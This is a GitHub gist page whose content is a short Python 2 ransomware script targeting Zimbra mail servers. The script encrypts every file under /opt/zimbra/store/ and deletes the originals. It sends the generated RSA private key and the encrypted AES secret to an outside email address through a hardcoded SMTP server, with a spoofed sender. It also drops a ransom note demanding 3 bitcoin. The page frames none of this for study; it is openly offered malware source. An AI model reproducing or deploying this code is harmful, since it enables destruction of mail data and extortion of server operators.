Created
June 21, 2016 19:00
Star
You must be signed in to star a gist
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os, random, struct | |
from Crypto.Cipher import AES | |
from Crypto import Random | |
from Crypto.PublicKey import RSA | |
import Crypto.Util.number | |
import smtplib | |
import base64 | |
def encrypt_file(key, in_filename, chunksize=64*1024): | |
out_filename = in_filename + '.crypto' | |
iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16)) | |
encryptor = AES.new(key, AES.MODE_CBC, iv) | |
filesize = os.path.getsize(in_filename) | |
with open(in_filename, 'rb') as infile: | |
with open(out_filename, 'wb') as outfile: | |
outfile.write(struct.pack('<Q', filesize)) | |
outfile.write(iv) | |
while True: | |
chunk = infile.read(chunksize) | |
if len(chunk) == 0: | |
break | |
elif len(chunk) % 16 != 0: | |
chunk += ' ' * (16 - len(chunk) % 16) | |
outfile.write(encryptor.encrypt(chunk)) | |
def generate_keys(): | |
random_generator = Random.new().read | |
key = RSA.generate(2048, random_generator) | |
publickey = key.publickey() | |
secret_key = os.urandom(32) | |
encrypted = base64.b64encode(publickey.encrypt(secret_key, None)[0]) | |
encrypted = encrypted[ 0 : 32 ] | |
print encrypted | |
message = "PuK: " + publickey.exportKey("PEM") + "\nPrK: " + key.exportKey("PEM") + "\nEAS: " + encrypted + "\n" | |
try: | |
mail = smtplib.SMTP('74.208.5.20') | |
mail.set_debuglevel(1) | |
mail.sendmail("support@aliexpress.com", ['mpritsken@priest.com'], message); | |
mail.quit() | |
except: | |
print "SMTP Error\n" | |
f=open('/root/how.txt',"w") | |
f.write(("Hello, If you want to unsafe your files you should send 3 btc to 1H7brbbi8xuUvM6XE6ogXYVCr6ycpX3mf2 and an email to mpritsken@priest.com with: %s \n") % publickey.exportKey("PEM")) | |
return encrypted | |
def encrypt(): | |
key = generate_keys() | |
for base, dirs, files in os.walk('/opt/zimbra/store/'): | |
for file in files: | |
try: | |
encrypt_file(key, base + "/" + file) | |
os.remove(base + "/" + file) | |
except: | |
print "Error\n" | |
encrypt() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment